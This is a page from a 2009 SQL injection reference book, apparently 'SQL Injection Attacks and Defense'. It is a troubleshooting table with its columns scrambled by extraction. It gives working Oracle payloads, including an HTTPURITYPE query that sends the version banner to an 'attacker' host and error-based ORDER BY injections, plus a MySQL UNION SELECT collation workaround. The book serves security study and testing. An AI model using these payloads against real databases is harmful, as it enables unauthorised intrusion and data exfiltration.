SQL Injection Attacks and Defense - 2009

Table 10.20 Continued. Troubleshooting SQL Injection Reference
References • Chapter 10 445
Error/Challenge
Challenge
Utl_http does not work
because the public privilege
was removed.
Error Message
ORA-00904 invalid identifier
Challenge
Utl_inaddr does not work.
There could be various
reasons, such as access
control lists (ACLs) in
Version 11, privileges
have been revoked, and
Java is not installed.
Error Message
ORA-00904 invalid identifier
ORA-24247 network access
denied by access control list
ACL) – 11g
ORA-29540 oracle/plsql/net/
InternetAddress
Challenge
You receive an “illegal mix
of collations” message
when performing a
UNION SELECT attack
against a MySQL database.
Solution
Many Oracle security guides recommend
that the public privilege be removed from
the utl_http package. However, many
overlook the fact that the object type
HTTPURITYPE can be used to achieve the
same aim and is also accessible to public.
SELECT HTTPURITYPE(
'http://attacker:1000/'|| (SELECT
banner FROM v$version WHERE rownum=1)).
getclob() FROM dual
Use a different function where you can
control the content of the error message.
Here is a small list of candidates depending
on the database version and its installed
components:
ORDER BY
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((
SELECT banner FROM v$version WHERE
rownum=1),null,null)
ORDER BY
SYS.DBMS_AW_XML.READAWMETADATA((
SELECT banner FROM v$version WHERE
rownum=1),null)
ORDER BY CTXSYS.DRITHSX.SN((SELECT
banner FROM v$version WHERE
rownum=1),user)
ORDER BY
CTXSYS.CTX_REPORT.TOKEN_TYPE(user,
(SELECT banner FROM v$version WHERE
rownum=1))
This error can be overcome using the
CAST function.
For example:
UNION SELECT user(),null,null;
becomes:
UNION SELECT CAST(user() AS
char),null,null;
Continued